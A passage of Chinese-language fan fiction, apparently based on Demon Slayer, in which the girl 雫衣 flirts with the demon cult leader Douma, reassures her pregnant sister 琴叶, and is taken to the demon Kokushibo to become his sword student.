“不好!”雫衣拒绝接受。
她可不是打个巴掌给个甜枣就能哄好的人。
来到极乐教这么些天,他们拢共
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也就见了三次,可三次有两次他都在把她当猗窝座整,一次比一次过分,似乎不逼疯她不罢休……可恨啊,难道她是软饭女,她就没脾气吗?她的尊严可是很贵的!比brO还贵!!
奈何童磨真的太大方了。
不仅把洗净的金扇送给她处理,还把她带到镇上,把能买到的甜品全部买了一遍作补偿,甚至还大度地让她免费享用了一次她一直都很喜欢的奖励。
雫衣:“……”
雫衣:“……”
“哇——”
雫衣可耻地被收买了。
感受着掌心下流畅结实的肌肉线条,情难自禁发出愉快的呼声。
此刻,童磨就坐在御帐台之中。
黑色外袍被他随意弃置一旁,红色里衣高高掀起,推至胸口,露出完美的腰腹。
他丝毫不觉得这个样子有什么不对,自然地双手撑在身后,上身微微后倾,让腰腹的肌肉变得愈发清晰明显。
“哇哦,这就是腹外斜肌吗?这就是髂脊吗?这就是人鱼线吗?”
雫衣双手摸来摸去,眼里亮晶晶的神彩几乎要满溢出来,“你究竟是怎么练出来的啊?真的一点赘肉都没有,除了薄薄一层皮,就是血管和肌肉……呜,好羡慕啊,人的体脂率怎么能低到这个地步?”
她痴迷得挪不开眼,光上手已经无法满足,整个人都贴上去,“想要,真的好想要!如果我也能拥有如此结实的肌肉就好了,谁碰我一根手指头,我就拧掉他的头……啊啊啊,我究竟什么时候才能练成你这样啊?!”
童磨差点笑出声。
她是不是忘记自己只是个人类女人了?
身为柔弱的女人,竟然妄想拥有男人才可以拥有的健硕体魄,完全就是痴心妄想呀。
更别说他还不是人呢。
他的身体乃是由鬼血塑造,一直都处在巅峰状态。
而她一直以来都食不果腹,各方面发育都很迟缓,就算她侥幸获得了无惨大人的恩赐,也不可能超越早早成为上弦之二的他。
唉,真是个可怜的傻孩子啊。
童磨心疼地几乎要落下泪来,如此看不清事实,变鬼后说不定连堕姬都比不过吧。
真的好可怜哦,她怎么就这么爱傻乎乎地为难自己呢?明明只要乖乖待在他身边,跟他谈恋爱就好了……
越想越心疼,童磨垂眸看向雫衣。
她小小的一团,猫儿一样蜷成在自己腿间,热乎乎的小脸正贴在他腰上,手指头顺着肌肉起伏的纹理抚摸,随着声音的吞吐,温热潮湿的气息一下一下拂过皮肤。
她似乎是太开心了,说着说着就亲了上来,那是很柔软的触感——没什么特别的,她全身都是软的——却不知怎得激起阵阵电流,酥酥麻麻的痒意顺着肌肉蔓延游走,身体莫名有点不受控制。
大片大片的肌肉开始充血、战栗、绷紧,伏于齿间的獠牙也在一点点生长,饥饿如野火灼过心肺,掠食的本能催促他攫取、撕咬、吞噬……
悲悯的泪水含在眼里,童磨茫然愣在原地。
他不太明白自己这是怎么了。
他们还在谈恋爱呢,而且还谈得很开心,目前并不是很想救赎她,可身体却仿佛有了自主意识,情不自禁伸手抓过去……
可雫衣却已经抽身离开。
垂落的柔软长发从他指尖滑走。
随着她的起身,那股异样的冲动也仿佛阳光下的朝露,飞快散去,他愈发恍惚。
“好、好了。”
雫衣捂着滚烫的小脸爬起来。
湿漉漉的视线黏在美好的肉、体上扯都扯不下来,她用力转过身,才终于强迫自己挪开眼。
“这次就先摸到这里吧。”雫衣红着脸,细声细气地说,“……多谢款待,我们下次再继续。”
8. 我跟童磨谈恋爱?
雫衣一路小跑回家。
隔着老远,她就瞧见了琴叶的身影。
少女孤零零一个人站在檐廊下,飘落的冬雪被夜风打着旋卷起,吹乱她的衣角发梢,寒气凛然,单薄的身形瑟缩颤抖,她却并没有回屋取暖,依然固执地站在这里,低着头不知道在想什么。
雫衣赶忙加快脚步跑过去。
“琴叶,你怎么在这里?”
她伸手去拉琴叶,“是在等我么?送东西过来的人没跟你说吗?我有点事要跟教主大人商量,很快就会回来,外头这么冷,你怎么,呀!”
担忧的话还没说完,手腕骤然被琴叶攥紧。
她力道大得惊人,捏得腕骨生疼。雫衣还没来得及反应,就被一把拽进房间。
雫衣不明所以地看向琴叶。
她神情高度紧张,身体绷紧仿佛拉满的弦,不知道想到了什么,唇瓣用力抿成一线,巴掌大的小脸上一丝血色也无。
恍惚中,时间仿佛又回到她们出逃的那天晚上。
那时候,琴叶也是这个样子。
身后是茶屋打手恐吓的叫喊,前方是看不清道路的山野。
琴叶紧紧抓着她的手不停奔跑,从没有一刻松开过,像是怕一松手,她就会被身后的黑暗吞噬。
她死死盯着前方,素来温柔的绿眸中甚至露出一股凶性,眼底仿佛有什么在燃烧。
“不要怕,我一定会带你逃出去!”
她声音发抖,却带着不容置疑的决绝,“雫衣,他们都是骗子,去花街根本不可能让你过上好日子,你千万不要信他们!他们现在给你的东西,以后都是要十倍百倍从你身上夺走的!我……无论如何,我都不会让你成为游女!”
……
……
晃神之际,琴叶已经扯开雫衣腰带。
失去系带的束缚,原本藏在腰间的东西,“咚”的一声砸在叠席上,发出沉重的闷响。
雫衣低头一瞧。
是童磨交给她处理的那把金扇。
她不由得蜷起脚尖。
刚刚,差点就砸到她脚趾了……
琴叶也看见了,脸色又沉了几分。
她很快移开视线,冰凉的手指翻着雫衣的衣襟,一处一处地仔细检查,确定她身上除了挨打留下的伤痕,并没有不该有的印子,紧绷的脊背才骤然垮下来。
她力竭般跪倒在地,双手死死抱住雫衣的腰,压抑的呜咽逐渐变成失控的痛哭。
“怎么了?”雫衣问。
“不要为了我出卖你自己!”琴叶猛地仰起头。
她哆哆嗦嗦抓紧雫衣的手,掌心的潮湿透过肌肤传过来,噙满泪水的眸子一瞬不瞬盯着雫衣,恐惧在心中蔓延,“我知道你是个有主意的孩子,总是在考虑很多事……你想变得强大,想不再畏惧任何人,我不阻拦你,但、但是,我不需要你拼命为我提供更好的生活。”
“雫衣,我现在就过得很好。”
她哽咽着,大颗大颗的泪水顺着惨白的面颊淌下,身体都因可怕的猜测不停发抖,“我只想好好跟你在一起,只要看到你,只要能触碰到你,我就感到很幸福了……雫衣,我真不需要额外的东西,只要你还陪在我身边,我就已经很开心了……不要、不要出卖自己……”
雫衣感到困惑。
她不明白为何只是短短三两个小时没见,琴叶就会说出这种话。
迷茫的视线不经意扫过房间里堆在一起,不曾打开的点心,脑海灵光一闪,瞬间福至心灵。
“……是不是有人跟你说了什么?”雫衣问。
琴叶表情愈发痛苦。
“别信他们啊。”雫衣还有什么不明白的?
她叹了口气,屈膝跪在琴叶面前,用柔软的指腹轻轻擦去她脸上的泪水,“我怎么可能出卖自己?即便是在那个家里,我都是敢抢肉吃的那个。琴叶,不要信别人嘴里的我,你才是真正看着我长大的那个,我们一起生活了这么多年,你觉得我是那种会亏待自己人吗?”
琴叶目光不受控制飘向那堆点心:“可是……”
“这些东西的确是教主大人给的没错。”雫衣回答。
琴叶瞬间又哭了。
“不是你想的那样。”
雫衣哭笑不得,“你忘了吗?我今天是要去神篱那里的,而神篱最大方了,她总是会给我们准备好吃的点心,这次也一样。”
“送完东西后,我就马不停蹄跑回来,迫不及待想跟你一起分享。”
她脑筋转得很快,陈述事实的间隙,眨眼间就想好了一套说辞,“可在路上,我遇到了低血糖发作的教主——唔,差不多就是你之前饿很了,眼前发黑,不吃东西就走不动步的状态。其实,我挺不舍得的,可想到教主大人对我们那么好,我也不能太抠门,就把点心给他吃了……现在送来的食物,包括扇子,都是他给的谢礼,是我们应得的。”
“是、是这样吗?”琴叶震惊了。
“嗯!”雫衣用力点头,“琴叶,你不要听别人乱讲,他们都是骗子,是看我们过得太好,故意给我们添堵呢。”
“可那个人是你老师……”
琴叶神情恍惚,抱怨的声音细若蚊蚋,“他说得真的很难听,你明明这么乖巧懂事,可他偏说你小小年纪就心机深沉,才来了这里没几天,就勾得教主大人为你百般破例,给与你重重优待和特殊……”
实际上,那男人说得远比这恶毒。
把东西送过来的时候,他上上下下打量了一遍琴叶,年轻的脸上露出毫不掩饰的恶意:“早就听说教主大人救回来一对长相出众的姐妹花,现在看来,这话果然不假。奉劝你们一句,作为女人,就乖乖待在后院安安分分工作就好,别仗着有几分姿色,就心比天高,意图攀附教主大人。”
“像你们这样不安分的女人我见多了。看到有钱有势的男人就走不动道,都做出抛家弃夫这等不知羞耻的淫奔之举了,偏偏还要摆出楚楚可怜的模样,好像你们是多么无辜似的……真是恶心透顶!”
“就算教主一时心软,被你那个同样下贱的妹妹迷惑心神,和她谈起了恋爱,你也别太得意。。”
他声音淬着毒,“之前教里就有跟你们一样心比天高的女人,可到最后,她们无一不黯然退场,教主大人依然还是大家的教主,他是真正的救世神明,绝不可能独独为你们驻足!”
“要是真离不开男人,教里男人多的是,哪一个满足不了你们?何必盯着教主大人不放?”
……
……
“他会这样说就太正常了。”
雫衣的声音拉回了琴叶的思绪。
她看向琴叶,眨了眨眼,眼底带着几分调侃的笑意,“你忘了我身上的伤是谁打出来的么?他已经嫉妒我很久了,从他见到我的第一天起,我就知道他嫉妒我。”
她说得煞有介事,“他肯定一眼就看出我是天才了,才会故意为难我、惩罚我,就是想要我知难而退,别抢了他‘教中最强’的风头。”
“我知
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道他从没有一刻真心把我当做学生,不过是碍于教主大人的命令,才不得不教,所以,我也从没有一刻把他当老师。原本还以为我们能面子上过得去,万万没想到他竟然如此卑鄙,居然敢趁我不备,擅自跟你说这么乱七八糟的话……哼,看来我真是给他脸了!”
“他怎么能这么坏?!”琴叶也生气了。
“贱男人都是这副德行,歹毒得要死。”
雫衣重新系好衣服,房间里烧着炭盆,不冷,但也不至于暖和到可以赤、身的地步,“不过没关系,等我学成了,第一件事就打得他满地找牙,让他再也无法说出一句恶心人的话。”
琴叶却蔫了下去:“可他不是真心教你,这该怎么办啊?”
“无所谓,反正我已经决定换老师了。”
事发突然,但雫衣已经想好了解决的办法,“今天我就是在跟教主大人商量这个。别看他总是温温柔柔的样子,可实际上,他不仅什么都会,各方面还都很强。让他做我老师的话,我肯定能进步得更快。”
雫衣早就有这个打算。
漫长的学习生涯告诉她,跟着好人学好事。
这世上的确存在不被外物影响,可以自学成才的天才,可她不是。
普通人骨子里都有的惰性、从众、好逸恶劳、贪图享乐,她一应俱全。
她这样的人,必须处在健康向上的环境里的,才能成为健康向上的人,不然她就只会不停下坠、下坠,成为很贱的人。
之前是没办法。
可现在嘛,在见识过童磨秒人的实力后,她也巧有借口让他做老师了。
跟着上弦之二学,就算她再不开窍,打不过各有千秋的上弦们,但打个下弦应该绰绰有余吧?
雫衣是这样想的。
“教主大人同意了么?”
“嗯,同意了。”
雫衣并不准备跟琴叶说太多。
琴叶只要知道的结果就好了,过程交给她处理。
可她笃定的回答并没有让琴叶展颜,反而让她愈发担忧。
“……所以,你们真的在谈恋爱吗?”琴叶捡起地上的金扇,手里沉甸甸的重量让她表情愈发复杂。
雫衣受到惊吓,瞳孔骤缩成一点。
她猛地抬头看向琴叶,声音都失态地拔高一度:“你怎么会这样想?”
我跟童磨谈恋爱?
雫衣脸都绿了,这怎么可能?!
别说童磨是鬼,就算他不是鬼,她也没兴趣跟三句话有两句半都在挑衅她的人在一起啊!
她又不是抖M!!
“教主大人把随身之物都给你了,不是吗?”
琴叶合上绘上彩色莲纹的金扇,递给雫衣,“这是很亲密的行为,你年纪太小,可能不太懂这这些行为背后的深层含义,可在我们大人看来,教主大人这样做,的确可能是想跟你谈恋爱……如果你没这种想法的话,还是把这个东西还回去吧。”
停顿片刻,她低声说,“雫衣,不可以随随便便接受男人的随身之物,尤其还是这么贵重的东西,会有代价的。”
感情上,琴叶并不讨厌教主,甚至还觉得教主这样温柔可靠的男人,或许可以成为雫衣的依靠;
可理智上,她又觉得齐大非偶,更不要说教主还跟那么多人谈过,总觉得自己心爱的妹妹要被玩弄了……
一想到这个,琴叶就忍不住想哭。
她真的太笨了,好像又做错了选择,害得妹妹再次落入危险的境地……
9. 我决定给你找个老师
雫衣沉默下来。
代价?
这种东西她早就已经付过了。
她啊,可是被童磨当猗窝座高强度整了好多次,甚至都把她整哭了!
如今她得到的一切,无论是吃的、摸的,还是看起来就很值钱的金扇,全部都是她应得的精神损失费!
——还是绝对不可能还的!
那可是至少十斤黄金!
不是一百克,也不是一千克,而是远超五千克!!
别说只是会被人误以为“跟童磨谈恋爱”,哪怕被人指着鼻子骂拜金女,她也绝对不可能还回去!
这辈子不可能,下辈子不可能,下下辈子更不可能!
……拜金就拜金吧,没金哪有幸福?
雫衣如此坚信着。
接过金扇,在琴叶松了一口气的眼神中,扭头藏进她们畳箱最里层。
琴叶:“……”
琴叶泫然欲泣。
“不是你想的那样啦。”
雫衣拉着琴叶坐到炭盆旁,跟她一块儿烤火取暖,“扇子不是教主大人给,是我主动要的。”
琴叶顿时急了:“你主动要的?”
“对啊。”雫衣抓过一袋打包好的食物,在炭盆上烘烤,“我觉得很好看,就主动问能不能摸一摸,谁知道教主大人那么大方,见我喜欢,直接就送我了。”
她说得跟真的一样,“我想,这可能是因为教主大人是活着的神明,是早已脱离了低级趣味的、圣洁无私的纯粹之人吧。对我们来说,那可能是很贵重、很亲密的东西,但对教主大人来说,那不过就是不值一提破铜烂铁而已。”
琴叶一点点瞪大眼。
许久之后,她情不自禁“啊”了声,忽然就被说服了!
的、的确呢!
琴叶觉得雫衣说的有道理。
那天夜里,教主大人聆听了她的祈求,从天而降,拯救她们于水火之中,可不就跟神明一样吗?
如此慈悲仁善高洁的人物,怎么可能跟世俗凡人一样看重金钱权势?
……之前是她想茬了。
琴叶认真反思起来。
虽然他不止一次跟信徒谈恋爱,但这里面说不定有她不知道的缘由呢?
她只是个凡人,怎么能因为自己无法理解神明的行为,就对他心生偏见?
更不要说她还是他恩情的受益者,竟然用最坏的念头去揣测他,真的太不应该了!
雫衣不知道琴叶经历了怎样的头脑风暴。
见她脸色变来变去,还以为自己的理由没能说服她,忙拍拍她的手,向她保证:“别担心,以后我要是谈了恋爱,绝对第一个告诉你,肯定不会对你有所隐瞒!”
说完,她把热好的点心递给琴叶,转移话题,“吃点东西吧,我猜你肯定又只顾着担心我忘记吃晚饭了。你还怀着孕呢,不能饿着,对身体不好,姑且用点心垫垫肚子吧。”
“你也吃。”琴叶分她一半。
高糖令人发困。
吃完饭不久,琴叶就沉沉睡了去。
雫衣却有点睡不着。
不是不困,也不是因为直面了杀人的场景,被吓得不敢睡。
而是她总是会不受控制想起离开山道之前,那个被童磨叫出来处理现场的男人。
大概是因为她心神全在童磨身上的缘故,直到那人恭敬跪在童磨脚下,她才惊觉附近还有其他人在。
那个男人毫不起眼。
个头并不高,身材远不如童磨魁伟,模样更是放入人群中就找不到。
可他却格外有力量,稍稍弯了下腰,就抗起尸体,轻轻松松把尸体丢入常有熊出没的山谷之中。
他太熟练了。
童磨也太熟练了。
这让雫衣情想起自己在来到这里之前,曾看过的一个很有意思的揣测:
童磨经营万世极乐教上百年,教里极有可能存在知晓他真实身份,还愿意帮他遮掩的人类。
当时,她对这个猜测一笑置之,全当乐子看了,可现在看来,考据党大概又嬴了。
——这里真有人奸!
意识到这一点后,雫衣心脏不受控制狂跳。
童磨是鬼,无法在白天出现。
所以,她一直以来的打算都是,等到琴叶养好身体,伊之助也稍微健壮点,她就找个恰当的借口,比如去镇上采购物资啦,参加庆典活动啦,偷偷带着他们离开这里,逃往东京府。
东京府那么大,想把她们揪出来简直难于登天。
更不要说无惨还一直盘踞东京。
他本身是个谨慎的鬼,不喜欢被鬼杀队骚扰,这也就意味着他兔子不吃窝边草,依着他的脾气,自然更不会允许别的鬼来吃他的窝边草。
生活在他附近大概率会很安全——当然,他被炭治郎抓包的情况除外。
可如果这世上真存在人奸的话,那她需要担心的就多了。
一想到这个,雫衣就不由焦虑起来,她不怕人奸要把她们抓回去,她怕人奸要清除疑似发现童磨真实身份的逃跑者。
她以后还要出去工作,注定要接触形形色色的人,谁也无法保证,从她们身边路过的每个不起眼人类,都没有一刀捅死她们的想法。
只有千日做贼的,没有千日防贼的,
思及此,雫衣已然下定决心。
果然还是得向鬼杀队出卖童磨才行!
鬼杀队能不能杀得掉童磨不重要,重要的是,她不能给人奸万众一心给她们添堵的机会。
在那天来到之前,她也会不停变强、变强、变强,直到强过所有人奸,成为仅次于童磨的高手,只有这样,她才能在跟鬼杀队联系上之前,保护好琴叶!
而助力她实现目标的关键一环,就是得让童磨做她老师!
只有被他这样的强者训练,她才有可能成为跟他比肩的强者!
念头通达,雫衣终于安心睡去。
翌日,陪琴叶吃完早饭,雫衣立刻跑去找童磨,她已经迫不及待把昨晚的设想变成现实了!
雪天的万事极乐教很清闲。
寒冷阻隔了教外的人,教里的信徒们则三三两两做着活计,平静的生活让他们极少有去叨扰童磨的时候。
雫衣找过去的时候,童磨正盘腿坐在御帐台之中。
他低着头,手肘抵在屈起的腿上,掌心托着侧脸,出神地想着什么。
直到被拉门的动静惊扰,他才拾眸望来,那张俊美无俦的脸上隐没于垂幔飘落的阴影中,罕见的没有什么表情,可当那双闪烁着冰冷虹光的七彩瞳仁跟她四目相对之时,他似乎是愣了一下,空白的脸上瞬间恢复无忧无虑的笑容。
……简直就像被一键开机了!
“怎么了?”童磨主动伸出手,“跑得这么急,是发生了什么事吗?”
雫衣把手搭上去,顺着童磨拉扯的力道,乖巧地依偎在他怀里,正斟酌着话术,他抬手抚了上来。
雫衣受到惊吓。
不明白他怎么忽然开始上手了。
明明他之前都是乖乖任她摸的,但应该不是饿了,开始检查食材新鲜度了。
毕竟,他到现在都还没露出悲悯的眼神,哭着喊着要救赎她,带她永享极乐呢。
这样想着,雫衣便没有反抗。
配合地仰着头,任由他揉按自己的嘴唇。
“其实,也没有什么大事,”雫衣含混开口。
等他换了个地方摸,自己不会一张嘴就含住他手指后,才继续说,“……我就是想问问,能不能请你做我老师呀。”
童磨心不在焉地唔了声。
她的嘴唇和脸蛋还跟记忆中一样柔软,只是不知道是时间不对,还是现在的姿势不对,那种失控的感觉并没有复刻。
没有拒绝,雫衣就当童磨默许自己推他一把。
“我知道你日理万机,每日聆听信徒的苦恼,给他们救赎和解脱就已经忙不过来了,但武田真是太差劲了!”
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武田就是雫衣老师的名字。
短暂铺垫过后,她连基本的敬语都不使了,毫不犹豫告状!
“不仅实力很差,完全没法儿跟你比,废话还格外多!昨天我还麻烦你救了我呢,你都没跟琴叶说乱七八糟的话,可他倒好,明明是他自己抢了帮我送东西活,却觉得我麻烦,硬是跟琴叶说了一堆有的没的,害她伤心难过了好久!”
“教主大人,他真的太恶毒了!”
她狠狠唾弃,“琴叶还怀着孕,现在正是脆弱的时候,他有什么不满为什么不直接跟我说?为什么要骚扰琴叶?”
童磨看向雫衣。
她看起来真的好生气。
小脸不高兴地鼓起,像极了信徒曾经供奉给他的河豚。
他觉得有意思,用手指戳了一下,立刻被她嫌痒般躲开,藏入他怀里使劲蹭蹭,指尖还残留她脸蛋细嫩的触感……
“我觉得他就是瞧不起人!”
雫衣忿忿不平,“我承认他是个厉害的男人,可这世上难道就只有厉害的男人才能真情实感地喜欢你、感恩你、为你做事吗?难道就因为我是个弱小的女人,我就不能发自内心地喜欢你、感恩你、为你做事了么?”
“我想变强有什么错?他凭什么用那么下流的心思诋毁我?他以为他诋毁的只是我?错了!他同样也在诋毁信任我的你!”
说到这里,雫衣倏得从童磨怀里仰起头,“教主大人,我不喜欢他,不想要他做老师了!我喜欢你,我想要你做我老师!有你做我老师的话,我肯定会变得很强很强!”
“教主大人是天下第一的话,那我就要做天下第二!我会用实力告诉他,是他狗眼看人低,比起他,我才是最有资格侍奉在你左右的那个!”
童磨目露惊讶之色。
她却似乎被自己看得有些不好意思,害羞地涨红了脸,却故作镇定地挪动身体,寻了个舒适的位置,重新藏入他怀里。
从他这个角度,只能看到她红得仿佛要滴血的耳尖。
她是那样轻,蜷成小小的一团更是没什么重量。
柔软的小脸贴着他胸口轻轻蹭着,带着颤音的声音更是天真得令人发笑,却莫名让他内心某处轻轻摇曳起来。
明明他是想怜悯她的……
童磨情不自禁地想,这个傻孩子又给自己树立了一个不切实际的梦想。
他不是天下第一,她自然也不可能成为天下第二,无论谁做她老师,她都不可能实现自己的梦想,多么可怜呀……
然而,比起怜悯,异样的感觉更快一步涌上心头。
他不自觉搂住雫衣,舔了舔自己又开始生长的獠牙。
……太痒了,有点无法忍耐。
“教主大人,我真的好喜欢你!”
雫衣并不知道童磨在想什么可怕的事情。
头顶传来的目光让她心跳得很快,呼吸更是乱得不像话。
她不由得搂住童磨,跟他紧密相贴,滚烫的温度从他身上传来,莫名令人安心,“我想保护你,就像你一直保护我那样……我从来没有一天忘记过,是你保护了我们,也是你给我们提供了安稳快乐的生活……好喜欢你,真的好喜欢你,无论你需不需要,我都真的好想为你做点什么。”
说着,她重新仰起头,那双因为充满期许而闪闪发亮的眼睛清晰倒映在童磨眼底,“教主大人,拜托了,我真的好想站在你身边!我想光明正大站在你身边!!”
恍惚间,有什么剧烈摇曳了一下了。
童磨定定注视着雫衣。
须臾,他轻快笑出声,毫不犹豫地点头应允了。
“当然可以哦。你可是我现在最心爱的信徒,无论你想做什么,我都不会拒绝你。”
雫衣眼睛一亮。
“不过呢,我是自学成才的天才,从来没教过学生,恐怕无法像合格的老师那样教会你点什么,为了不耽误你实现梦想,我决定给你找个比我更强、更专业的老师!”
雫衣:“??”
10. 我就非死不可么?
雫衣心头一沉。
这世上的确有比童磨更强的存在,可哪个是她能见的?
这鬼是不是忘了他现在的身份是万世极乐教教主,而不是鬼王的上弦之二啊?
……就这么自爆真的好么?
雫衣想也不想便要拒绝。
可童磨已经抱着她站起身,冲着虚空甜甜叫了声:“麻烦你了,鸣女小姐,请把我送到黑死牟阁下身边,我有很重要的事找他哦。”
随着一声清脆的弦响,令人心悸的失重陡然袭来。
“呀!”
雫衣失态叫出声。
剧烈的跌落感令她害怕得紧闭双眼,下意识伸手想抓住些什么,可童磨只穿了一件贴身里衣,哆嗦的手指根本抓不住。
仓皇间,也不知道薅到什么,隐约听到一声吃痛的闷哼,胳膊不知怎得攀上了童磨脖颈。
顾不上别的,雫衣立刻化身树袋熊,死死地抱住童磨不放,生怕自己不小心掉地上,摔成烂西瓜!
恐惧让时间变得极其漫长难熬。
雫衣心神大乱,完全没注意到他们是何时落地的。
“好了哦。”
童磨笑出声,拍拍怀里的小鹌鹑,她吓得脸都白了,“我们已经到了。”
童磨很喜欢雫衣情绪外露的样子。
无论是期待的样子、忍耐的样子,还是害怕的样子,都让他觉得有趣,忍不住就想索取更多,很想知道这种能轻易摇曳他内心的情绪尽头究竟是什么……
雫衣心脏狂跳。
她试探性睁开一只眼。
眼前是白茫茫的一片。
不是雪,而是温暖潮湿的白雾。
空气中隐隐传来潺潺流水的声音,无处不在的硫磺气味,昭示着这里是一处温泉。
雫衣这才抬起头,茫然打量四周。
雾气太重,建筑影影绰绰看不清真切,只能依稀判断出是一所偌大的温泉别馆。
只不过,这里看起来完全不像是白天的场景,可她明明记得自己去找童磨的时候还是大清早啊……
雫衣迷迷糊糊思考着。
受惊的大脑不太能集中注意力,不等她理顺自己乱如稻草的思绪,空气中再次响起童磨欢快的声音:
“我告诉你哦,黑死牟阁下真的很厉害!”
童磨抱着雫衣兴冲冲朝前走,耐心为她讲解,“在我成为上弦之二之前,他就已经盘踞上弦之一的位置数百年,地位至今都未曾有过变动,实力之强悍,连我都望尘莫及!”
雫衣:“!!”
雫衣瞬间清醒过来!
不、不是,你竟然真自爆了?
雫衣浑身血液都要凝固了。
她汗流浃背地想,我们不就只是摸摸腹肌、看看腿的关系么?你干嘛跟我说这么多?
我一点也不想知道你的过去啊……你同事的辉煌战绩我也根本不想知道一点!
姐妹的命也是命!
雫衣忍不住带上痛苦面具。
有时候真想跪下来求他别搞了!
这已经不是把她当猗窝座整了,而是纯纯把她当日本人整!
……呜呜呜,她真的还能活着走出无限城,重新见到今天的太阳么?
雫衣越想越绝望。
“你觉得我是最强,想要我做你的老师,那是因为你还没有见过真正的强者,等你见到黑死牟阁下,你就会明白他是多么适合做你老师!”
我一点也不想明白!
雫衣倏得瞪向童磨,你这个鬼怎么这样?
好歹也听了我那么多动听的情话,就非这么对我不可吗?!
好吧,就算是非把我当猗窝座整不可,也没必要这么快图穷匕见吧?
现在就把我杀了,以后你整谁去?这世上还有谁会跟我一样配合你,让你尽兴?咱就是说都这么大一鬼了,可持续竭泽而渔都不懂吗?
悲愤交加间,童磨已经穿过蒸腾的热气,来到温泉边。
昏黄的木制地灯静静亮着,照亮方寸之地,隐约可见一个高大的背影正背对着他们泡在温泉里。
童磨丝毫不觉得自己冒昧。
一手抱着雫衣,一手跟那人打招呼:“嗨,黑死牟阁下,真是好久不见了,你最近还好吗?我可是一直都思念牵挂着你呢!”
雫衣:“……”
雫衣:“……”
雫衣忽然意识到自己可能想错了。
童磨并不是想跟她图穷匕见,不过是在把黑死牟也当猗窝座整的时候,顺带整了她一下罢了。
只是她这尾小鱼太脆弱了,城门还没有烧起来呢,她就开始要死要活的了。
不愧是你,童磨!
这世上还有什么是你不敢干的!
雫衣惨笑着,默默在心里给童磨竖了根大拇指。
与此同时,她望向黑死牟的眼神也变得愈发同情。
嗯,虽然他们还没正式见过,但她已经对他产生了深厚的战友情!
黑死牟真是个很体面的鬼。
泡澡的时候,衣物整齐叠放在一旁干净的石头上,束起来的长发散开,遮住大半赤裸的脊背,也挡住旁人窥视的视线。
即使是如此尴尬时刻,他也未曾恼羞成怒,依旧端正坐着,挺拔的身形没有丝毫动摇,几乎都要让人忘了他是在放松泡澡的时候,被人堵门口了……
当然,也可能是没招了。雫衣苦中作乐地想。
“何事?”黑死牟言简意赅。
“唔,是这样的。”
童磨笑眯眯回答,“雫衣是我最心爱的信徒,她想要学剑术,梦想成为天下第二的剑士保护我。可你是知道我的,我只会杀人,不会教人,而你就不一样了。你曾经是鬼杀队的柱,虽然已经变成鬼了,但应该还记得如何培养继子吧,所以,能不能拜托你做她老师,把她当做继承人教导呢?”
雫衣:“……”
黑死牟:“……”
“你可是备受无惨大人信赖之人!”童磨越说越起劲,“我相信,经由你的指导,雫衣肯定能成为出色的剑士!到时候,她不仅能保护我,还能……”
“她是人类。”黑死牟打断了他喋喋不休的话。
童磨一愣,旋即惊讶地瞪大眼。
他似乎终于意识到了什么,不可置信地看向雫衣:“哎呀哎呀,我忘了!这可怎么办啊,雫衣!被你发现我不是人了哎……唉,原本我是不想告诉你,你可是我最心爱的信徒啊!”
他用空着的手捂住眼睛,绝望的泪水淌了满脸,“一想到你会用畏惧憎恨的眼神看我,我就难过得想哭!呜呜呜,为什么会发生这种事?真的太令人伤心了……”
雫衣:“……”
整完黑死牟又来整我了,是吗?
雫衣眼神都要死了,同样的把戏,你究竟要整几次才会腻?
愤怒的情绪不停在心中刷屏。
雫衣想说你差不多得了。
可又怕给了童磨回应,被他顺杆爬,只好捏鼻子忍了。
“那你要杀了我吗?”雫衣把问题抛回去。
童磨含泪:“……非杀不可么?”
这不应该问你吗?
雫衣无语地想,我们之前相处得还是挺好的吧?
虽然我不是次次都让你玩得很尽兴,但我也的确回应过你,没让你的挑衅每次都落空啊!
如果不是玩腻了想杀我,那你为什么毫无征兆上来就自爆?为什么要给我看特殊CG?
我们之间是能看特殊CG的关系吗?
……不、不对!
雫衣谴责的表情骤然僵在脸上。
她鬼使神差想起琴叶之前的那个惊人之语。
【……所以,你们真的在谈恋爱吗?】
雫衣并不觉得他们在谈恋爱。
虽然从第二面开始,她就对童磨动手动脚,但那只是她在奖励自己而已。
可放在童磨眼里,这种行为可能就有了另一种意义,毕竟他一直都有“没感情,但爱玩小孩子恋爱游戏”的设定,面对
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她的主动,极有可能会习惯性地认为她是想跟他谈恋爱!
雫衣恍然大悟地想,怪不得他总是称她为“最心爱的信徒”!
原来那并不仅仅是为了阴阳怪气她啊……都谈恋爱了,自然是‘最心爱的’!
嗯,从某方面来讲,他这鬼做恋人还挺讲男德的。
顺着这个猜测想下去,童磨的一切行为也就都能说通了。
为什么总是把她当猗窝座整?
因为小孩子的恋爱游戏就是这样玩的。
喜欢一个人,就是要扯她小裙子、揪她小辫子、用言语怼的她下不来台,把她弄哭,让她生气,把“喜欢她就是要欺负她”发挥到淋漓尽致!
玩上头,就是要任性地给她看特殊CG!
接受得了,就继续一起玩旮旯给木;
接受不了,那他就可以美美饱餐一顿,换个人继续,反正他又不亏。
雫衣越想越后怕。
这世上果然不存在免费又大方男菩萨!
其他那些顶多也就骗骗她的钱,而眼前这个是真纯馋她身子!
“我觉得要不然还是别杀了吧?”
雫衣艰难咽下涌上喉头的老血,她意识到自己作茧自缚了,却又无法改变,只能镇定又认命地说,“当初,你并没有因为我是人,就放任我遭遇不幸,我自然也不会因为你是鬼就停止喜欢你。只要你愿意,你是人是鬼都不妨碍我们继续谈恋爱……就算你要杀我,我也不会停止爱你。”
童磨看向雫衣。
雫衣看向童磨。
童磨脸上骤然露出灿烂的笑容。
他一把熊抱住雫衣,心满意足跟她贴贴,湿漉漉的眼泪都蹭了她一脸:“哈哈哈,我就知道你爱我!”
他笑得甜甜蜜蜜,“雫衣,我也爱你哦!你可是我最心爱的信徒呢,就算被你知道我是鬼,我也不会杀你,我还等着你成为这世上第二强的剑士来保护我呢!”
雫衣被抱得喘不过来气,使劲捶打童磨。
童磨略微松了松,并不放开。
他扭头看向黑死牟,喜滋滋地说,“黑死牟阁下,她不介意我是鬼,肯定也不介意你是鬼,你还是可以做她老师哦。”
雫衣:“……”
雫衣一口气没上来。
不是,我今天是非死不可吗?
雫衣头疼地想,你把黑死牟当猗窝座整的时候,就不能别带我么?
你挑衅他,他一刀砍掉你的头,你还能再长出来,可要是不小心波及到我,那我就只能盼望下辈子重开了啊!
黑死牟不搭腔。
童磨:“黑死牟阁下?”
黑死牟依旧无回应。
童磨提高嗓音,又重复一遍:“黑死牟阁下,是我太小声,害你没听到吗?唔,那我重新跟你讲一遍哦,我刚刚是说,她……”
雫衣赶紧捂住童磨嘴巴,不让他说出更多挑衅的话:“……你说有没有一种可能,他就是单纯不想理你呢?”
